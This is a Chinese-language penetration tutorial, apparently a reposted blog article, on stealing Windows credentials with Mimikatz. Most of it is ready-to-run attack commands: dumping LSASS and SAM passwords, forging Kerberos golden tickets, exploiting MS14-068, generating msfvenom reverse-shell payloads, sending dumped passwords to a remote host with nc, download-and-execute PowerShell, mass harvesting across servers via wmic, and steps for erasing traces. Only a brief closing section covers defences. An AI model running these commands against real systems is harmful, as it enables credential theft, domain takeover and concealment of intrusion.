close

第01課:Mimikatz 獲取系統密碼攻防研究

Mimikatz 是法國人 benjamin 開發的一款功能強大的輕量級調試工具,本意是用來個人測試,但由於其功能強大,能夠直接讀取 WindowsXP-2012(2016 做了安全防護,需要修改注冊表值,重啟後生效,可以獲取明文密碼)等操作系統的明文密碼而聞名於滲透測試,可以說是滲透必備工具,從早期 1.0 版本到現在的 2.1.1 20180205 版本,其功能得到了很大的提升和擴展。

Mimikatz 最新版本一共三個文件(mimilib.dll、mimikatz.exe、mimidrv.sys),分為 Win32 位(多了一個 mimilove.exe 文件)和 X64 位。通過它們可以提升進程權限、注入進程讀取進程內存,可以直接從 Lsass 中獲取當前登錄過系統用戶的賬號明文密碼。Lsass 是微軟 Windows 系統的安全機制它主要用於本地安全和登錄策略,通常我們在登錄系統時輸入密碼之後,密碼便會儲存在 lsass 內存中,經過其 wdigest 和 tspkg 兩個模塊調用後,對其使用可逆的算法進行加密並存儲在內存之中,而 Mimikatz 正是通過對 Lsass 的逆算獲取到明文密碼!

本文以 Mimikatz 最新版為例,介紹了 Mimikatz 的參數、獲取密碼以及偽造黃金票據獲取域控密碼等用戶,利用 ms14-068 結合 Mimikatz 獲取域控密碼等,最後文中還給出了相應的防範方法,對網絡攻防都具有一定的借鑑意義。

下載及安裝

請單擊這裡獲取最新版下載地址

下載後解壓縮即可,裡面分為 Win32 和 X64,Win32 是針對 Windows32 位,而 X64 是正對 64位操作系統,目前絕大部分操作系統為 64位(支持大內存的使用)。其相關資源如下:

使用參數詳解

本次測試使用 Win32 版本,將程序解壓後,通過 cmd 進入當前目錄,執行 Mimikatz 程序,如圖1所示,隨便輸入即可獲取幫助信息。

enter image description here

圖1 顯示幫助信息

基本命令

  • exit:退出 Mimikatz。
  • cls:清除當前屏幕。
  • answer:對生命、宇宙和萬物的終極問題的回答。
  • coffee:顯示 coffee 圖案。
  • sleep:默認睡眠 1000ms,後跟時間參數。
  • log:記錄 Mimikatz 所有的輸入和輸出到當前目錄下的 log.txt 文件。
  • base64:將輸入/輸出轉換成 base64 編碼。
  • version:查看 Mimikatz 的版本
  • cd:切換或者顯示當前目錄。
  • localtime:顯示系統當前時間和 UTC 時間。
  • hostname:顯示主機的名稱。

使用模塊

輸入“::”顯示其支持模塊信息。

(1)standard:標准模塊,基本命令,不需要模塊信息。

(2)crypto:加密模塊,其後跟以下參數,其使用命令為 crypto:: 參數名,例如 crypto::providers,如圖2所示。

enter image description here

圖2 參考加密算法提供類型及名單

  • providers:該命令列出所有 CryptoAPI 提供者。
  • stores:列出系統存儲中的邏輯存儲,crypto::stores /systemstore:local_machine。
  • certificates:顯示或者導出證書。
  • keys:列出或者顯示密鑰。
  • sc:此命令列出系統上的智能卡/令牌讀取器或將其移出系統;當 CSP 可用時,它會嘗試在智能卡上列出密鑰。
  • hash:顯示當前用戶的的哈希(LM、NTLM、md5、sha1、sha2)計算值。
  • system:描述 Windows 系統證書(注冊表或者 hive 文件)。
  • scauth:從 CA 創建一個認證(智能卡等)。
  • certtohw:嘗試將軟件 CA 導出到加密(虛擬)硬件中。
  • capi:修補 CryptoAPI 程序方便導出。
  • cng:修補 CNG 服務方便導出。
  • extract:從 CAPI RSA/AES 提供者獲取密鑰。

(3)sekurlsa 枚舉用戶憑證

  • sekurlsa::msv:獲取 LM & NTLM 憑證,可以獲取明文密碼。
  • sekurlsa::wdigest:獲取 WDigest 憑證,可以獲取明文密碼。
  • sekurlsa::kerberos:獲取 Kerberos 憑證。
  • sekurlsa::tspkg:獲取 TsPkg 憑證。
  • sekurlsa::livessp:獲取 LiveSSP 憑證。
  • sekurlsa::ssp:獲取憑證。
  • sekurlsa::logonPasswords:獲登錄用戶信息及密碼,如果是在系統權限或者 psexec 進入的系統權限下,直接使用該命令,而無需運行 privilege::debug,否則需要運行該命令。
  • sekurlsa::process:切換或者恢復到 lsass 初始狀態。
  • sekurlsa::minidump:切換或者恢復到 minidump 初始狀態。
  • sekurlsa::pth:Pass-the-hash
  • sekurlsa::krbtgt:krbtgt!
  • sekurlsa::dpapisystem:顯示DPAPI_SYSTEM密碼值。
  • sekurlsa::tickets:顯示 Kerberos 票據。
  • sekurlsa::ekeys:顯示 Kerberos 加密密鑰。
  • sekurlsa::dpapi:顯示內存中的 MasterKeys。
  • sekurlsa::credman:顯示管理員憑證。

(4)kerberos:Kerberos 包模塊

(5)privilege:特權模塊

  • Privilege::debug:請求調試權限。
  • Privilege::driver:請求裝載驅動權限。
  • Privilege::security:請求安全權限。
  • Privilege::tcb:請求 tcb 權限。
  • Privilege::backup:請求 backup 權限。
  • Privilege::restore:請求恢復權限。
  • Privilege::sysenv:請求系統環境權限。
  • Privilege::id:請求 id 特權,參數後跟具體的 id 值,例如請求特權 8:privilege::id 8。
  • Privilege::name:請求指定名稱的權限。

(6)process:進程模塊

  • process::list:列出進程。
  • process::exports:導出進程列表。
  • process::imports:導入進程列表。
  • process::start:開始一個進程,後跟進程名稱。
  • process::stop:終止一個進程,process::stop /pid:1692(結束 pid 為1692的進程)。
  • process::suspend:掛起一個進程。
  • process::resume:恢復一個進程。
  • process::run:運行一個進程。

(7)service:Service module

  • service::start:開始服務。
  • service::remove:移除服務。
  • service::stop:停止服務。
  • service::suspend:暫停服務。
  • service::resume:恢復服務。
  • service::preshutdown:預關閉服務。
  • service::shutdown:關閉服務。
  • service::list:列出服務。
  • service::+ - 安裝 Mimikatz 服務。
  • service::- - 卸載 Mimikatz 服務。

(8)lsadump:LsaDump module

Lsadump::sam:該命令轉儲安全帳戶管理器(SAM)數據庫,它包含用戶密碼的 NTLM,有時包含 LM 哈希。

在線命令提升模式獲取:

privilege::debug
token::whoami
token::elevate
lsadump::sam
復制

離線獲取,通過以下方式備份 SYSTEM&SAM 配置:

reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SAM SamBkup.hiv
復制

或者使用 Volue Shadow Copy / BootCD 來備份這些文件:

C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\SAM
復制

然後執行 mimikatz # lsadump::sam SystemBkup.hiv SamBkup.hiv 即可獲取。

可在線進行破解查詢

  • Lsadump::secrets:從 registry 或者 hives 獲取保存的密碼憑據,可以直接獲取明文密碼。
  • Lsadump::cache:獲取內存中的密碼值。
  • Lsadump::lsa:從 lsa 服務器獲取密碼,lsadump::lsa /inject /name:krbtgt。
  • Lsadump::trust:Ask LSA Server to retrieve Trust Auth Information (normal or patch on the fbackupkeys rpdata。
  • Lsadump::dcsync:Ask a DC to synchronize an object。
  • Lsadump::dcshadow:They told me I could be anything I wanted, so I became a domain controller。
  • Lsadump::setntlm:Ask a server to set a new password/ntlm for one user。
  • Lsadump::changentlm:Ask a server to set a new password/ntlm for one user。
  • Lsadump::netsync:Ask a DC to send current and previous NTLM hash of DC/SRV/WKS。

(9)ts 終端服務模塊

  • ts::sessions:顯示當前的會話。
  • ts::multirdp:允許多個用戶使用 rdp,安裝 rdp 補丁。

(10)event 事件模塊

  • event::drop:啟用事件補丁服務,不再記錄新產生的事件。
  • event::clear:清除時間日誌。

(11)misc 雜項模塊,打開 cmd、regedit、taskmgr、ncroutemon、detours、wifi、addsid、memssp、skeleton 等。

(12)token:令牌操作模塊

  • token::whoami:顯示當前的身份。
  • token::list:列出系統所有的令牌。
  • token::elevate:冒充令牌。
  • token::run:運行。
  • token::revert:恢復到進程令牌。

(13)vault:Windows 信任/憑證模塊,Vault::list 列出 Windows 信任/憑證。

(14)net 顯示 user、group、alias、session、wsession、tod、stats、share、serverinfo 等信息。

Mimikatz 獲取密碼

舊版本配合 psexec 密碼獲取方法及命令

  • 到 tools 目錄,psexec \127.0.0.1 cmd
  • 執行 mimikatz
  • 執行 privilege::debug
  • 執行 inject::process lsass.exe sekurlsa.dll
  • 執行 @getLogonPasswords
  • widget 就是密碼
  • exit 退出,不要直接關閉否則系統會崩潰

bat 腳本獲取法

(1)創建 get.bat 腳本

@echo off
mimikatz.exe <command.txt >pass.txt
exit
復制

(2)創建 command.txt 文件

privilege::debug
inject::process lsass.exe sekurlsa.dll   
@getLogonPasswords
Exit
復制

(3)執行 get.bat 文件即可獲取密碼,pass.txt 記錄的即為獲取的密碼,get.bat、command.txt 和 mimikatz.exe 在同一個文件夾下。

Mimikatz 2.0 以上版本獲取系統明文密碼

(1)sekurlsa 獲取

privilege::debug
sekurlsa::logonpasswords
復制

(2)Lsadump 獲取密碼

Lsadump::secrets
復制

利用 ms14-068 漏洞進行攻擊

(1)生成tgt_zhangsan@admin.com.ccche票據

ms14-068.py -u zhangsan@admin.com -p venus123@ -s S-1-5-21-1825629200-489098874-1280338471-1104 -d admin.com
復制

(2)導入票據

mimikatz kerberos::ptc c:/tgt_zhangsan@admin.com.ccche
復制

使用 ps1 批量獲取 Windows 密碼

在 Windows 2008 及以上操作系統中執行命令:

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
復制

注意:獲取密碼的計算機必須能夠訪問 raw.githubusercontent.com 網絡,也可以將該 ps 文件下載到其他地址,然後替換後執行。該腳本目前在 Win2014 中只能獲取 NTLM 值,無法獲取明文密碼,如圖3所示。

enter image description here

圖3 通過 ps 腳本獲取密碼值

MSF 下 Mimikatz 獲取密碼

(1)需要生成一個反彈的可執行程序或者通過漏洞直接獲取一個反彈的 shell。下面是通過 msfvenom 生成 shell:

(1)Linux:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
(2)Windows:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
(3)Mac:msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
(4)PHP:msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
(5)asp:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
(6)JSP:msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
(7)WAR:msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
Scripting Payloads
(8)Python:msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
(9)Bash:msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
(10)Perl:msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
(11)Linux Based Shellcode:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
(12)Windows Based Shellcode:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
(13)Mac Based Shellcode:msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
復制

在架構中比較好用的有兩個cmd/powershell_base64和x86/shikata_ga_nai,下面生成一個實例(反彈的服務器 IP 為 192.168.106.133):

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.106.133 LPORT=4444 -f exe > shell.exe
復制

(2)運行 msfconsole 並設置:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.106.133
set lport 4444
run或者exploit
復制

(3)在測試計算機上運行 exe 文件。

(4)在 msf 獲取反彈的 shell,如圖5所示。

  • getuid 獲取當前帳號為系統權限,則進行後續操作,否則通過 ps 命令去獲取小於 1000 以內的 pid,執行 migrate pid 來提升權限後,繼續執行後續步驟。
  • load mimikatz。
  • 運行 mimikatz 下面的憑證獲取命令:
  kerberos   獲取網絡認證協議憑證,其中可能會有明文密碼
  msv        獲取msv 憑證,其中包含LM和NTLM哈希密碼值
  wdigest    獲取wdigest (摘要式身份驗證)憑證,其中可能會有明文密碼
復制
  • 還可以執行 hashdump 來導出系統的哈希密碼值。

使用 Mimikatz 偽造 Kerberos 黃金票據

以域控 test.local 為例子,mimikatz 在 c:\test\ 目錄下。

導出 krbtgt 的 Hash

在域控上執行通過 mimkatz 輸出:

mimikatz log "lsadump::dcsync /domain:test.local /user:krbtgt"
復制

找到如下信息:

/domain:test.local
/sid:S-1-5-21-4155807533-921486164-2767329826
/aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f
復制

生成 Golden Ticket

偽造的用戶設置為 god,執行:

mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f /user:god /ticket:gold.kirbi"
復制

生成文件 gold.kirbi。

偽造 Golden Ticket 獲得域控權限,導入 Golden Ticket,執行如下命令:

kerberos::ptt c:\test\gold.kirbi
復制

ms14_068 獲取域控密碼

利用 ms14_068 漏洞獲取域控權限

目前網上有 Python 腳本的利用方法,其下載地址請單擊這裡,具體方法如下:

(1)獲取 SID

  • 方法1:wmic useraccount where name="USERNAME" get sid
  • 方法2:whoami /all 或者 whoami /user 本機可以直接查出自己的 SID;例如獲取 SID 值為:S-1-5-21-3314867233-3443566213-336233174-500。

(2)生成 tgt 文件

ms14-068.py -u antian365@antian365.local -s S-1-5-21-3314867233-3443566213-336233174-500-d DC2. antian365.local
復制

會在當前命令目錄生成一個 TGT_ antian365@ antian365.local.ccache 文件,將該文件復制到 mimikatz 目錄。

(3)導入 tgt 文件

mimikatz.exe log "kerberos::ptc TGT_ antian365@ antian365.local.ccache" exit
復制

(4)查看並獲取域控權限

net use \\DC2. antian365.local\admin$    //註:使用IP可能會失敗 
dir \\DC2. antian365.local\c$
復制

(5)klist 查看票據,klist 僅僅在 Win2008 以上可以查看。

MSF 漏洞模塊利用

(1)使用 ms14_068 模塊

use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
set DOMAIN DEMO.LOCAL
set PASSWORD antian365
set USER antian365
set USER_SID S-1-5-21-3314867233-3443566213-336233174-500
set RHOST WIN-T.demo.local 
run
復制

生成一個形如time_default_ip_windows.kerberos_num.bin的文件。

(2)導入 bin 文件

kerberos::clist "time_default_ip_windows.kerberos_num.bin" /export/ 
復制

保存為 0-00000000-antian365@krbtgt-DEMO.LOCAL.kirbi 文件。

(3)使用生成的 kirbi

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 172.16.158.1
exploit
getuid
load mimikatz
kerberos_ticket_use /tmp/0-00000000- antian365@krbtgt-DEMO.LOCAL.kirbi
background
sessions
復制

(4)獲取域控權限

use exploit/windows/local/current_user_psexec
set TECHNIQUE PSH
set RHOSTS WIN-T.demo.local
set payload windows/meterpreter/reverse_tcp
set lhost 172.16.158.1
set SESSION 1
exploit
getuid
復制

Mimikatz 使用技巧

(1)獲取並記錄密碼到 mimikatz.log 文件

mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords "" exit && dir
復制

(2)輸出到本地 log.txt 文件

mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords"" exit >> log.txt
復制

(3)記錄新密碼到文件

有時候獲取的哈希是舊的,這時需要記錄新的登錄哈希值,可以使用以下命令來記錄,記錄的結果在 c:\windows\system32\mimilsa.log。

mimikatz.exe
privilege::debug
misc::memssp
復制

(4)通過 nc 命令將 mimikatz 執行結果傳輸到遠程

  • 取結果服務器(192.168.106.145)執行監聽命令
nc -vlp 44444
復制
  • 在想獲取密碼的服務器上執行
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords "" exit | nc.exe -vv 192.168.106.145 4444
復制

(5)通過 nc 命令遠程執行 mimikatz

  • 在黑客反彈計算機(192.168.106.145)上執行 nc.exe -vlp 4444
  • 在被攻擊計算機(192.168.106.130)上執行 nc.exe -vv 192.168.106.145 4444 -e mimikatz.exe

接著就會反彈到 192.168.106.145 的 4444 端口,出來一個 cmd 的窗口,可以在該窗口進行密碼獲取,如圖4所示。

enter image description here

圖4 nc 反彈執行命令

(6)批量獲取域控密碼

通常在域滲透的時候,我們可能想要獲得更多的密碼,針對 server08 以後的服務器獲取 ntds.dit 的 hash 以後還不一定能破解出來,所以可以通過 Mimikatz 來獲取明文密碼,但是一台一台登錄去獲取會很慢且不方便,所以這裡介紹一個批量的方法:

1)創建共享文件夾:

cd\
mkdir open
net share open=C:\open /grant:everyone,full
icacls C:\open\ /grant Everyone:(OI)(CI)F /t
復制

修改注冊表:

reg change HKLM\System\CurrentControlSet\services\LanmanServer\Parameters NullSessionShares REG_MULTI_SZ open
reg change HKLM\System\CurrentControlSet\Control\Lsa "EveryoneIncludesAnonymous" 1
復制

修改共享目錄到 open。

2)在共享目錄添加下列文件:

  • 執行腳本 powershellme.cmd,腳本內容:
powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.11:8080/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds > \\192.168.1.11\open\%COMPUTERNAME%.txt 2>&1
復制

IP 是設置共享的主機 IP 地址。

  • Invoke-Mimikatz.ps1
  • mongoose
  • 服務器列表 serverlist.txt,換行分割

3)運行 mongoose,默認開啟端口 8080。

4)執行 wmic:

wmic /node:@serverlist.txt process call create "\\192.168.1.11\open\powershellme.cmd"
復制

帶憑證:

wmic /node:@serverlist.txt /user:PROJECTMENTOR\evi1cg /password:123 process call create "\\192.168.1.11\open\powershellme.cmd"
復制

5)在共享目錄看各個服務器的密碼吧。

6)清除記錄:

  • 關掉 mongoose 並刪除
  • net share open /delete
  • 刪除共享目錄及文件
  • 修改注冊表

PS:可以使用如下命令開啟 PowerShell remoting:

psexec @serverlist.txt -u [admin account name] -p [admin account password] -h -d powershell.exe "enable-psremoting -force"
復制

Linux 版本的 Mimikatz 密碼獲取工具 mimipenguin

mimipenguin

Mimikatz 的 Linux 平台仿造版本 mimipenguin(由 @HunterGregal 開發),mimipenguin 需要 root 權限運行,通過檢索內存、/etc/shadow 文件等敏感區域查找信息進行計算,從而提取出系統明文密碼。軟件下載地址請單擊這裡,下載後運行 mimipenguin.sh 即可,如圖5所示。

enter image description here

圖 5 Linux 下直接獲取密碼

支持版本

Kali 4.3.0 (rolling) x64 (gdm3)
Ubuntu Desktop 12.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)
Ubuntu Desktop 16.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)
XUbuntu Desktop 16.04 x64 (Gnome Keyring 3.18.3-0ubuntu2)
Archlinux x64 Gnome 3 (Gnome Keyring 3.20)
OpenSUSE Leap 42.2 x64 (Gnome Keyring 3.20)
VSFTPd 3.0.3-8+b1 (Active FTP client connections)
Apache2 2.4.25-3 (Active/Old HTTP BASIC AUTH Sessions) [Gcore dependency]
openssh-server 1:7.3p1-1 (Active SSH connections - sudo usage)
復制

安全防範 Mimikatz 獲取密碼

參考作者及網上安全防範方法主要有以下三個方法:

  • 用戶被添加到保護用戶組,將域控升級到 Active Directory 2012 R2 功能級別,然後將重要用戶添加到保護用戶組。
  • 安裝 KB2871997 補丁程序。
  • 修改注冊表鍵值

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Wdigest下新建 UseLogonCredential 值,其類型為 Dword32 位類型,值為 0 即可。

參考文章:

文章標籤
mimikatz
全站熱搜
創作者介紹
創作者 好康搬運工 的頭像
好康搬運工

好康搬運工

好康搬運工 發表在 痞客邦 留言(0) 人氣()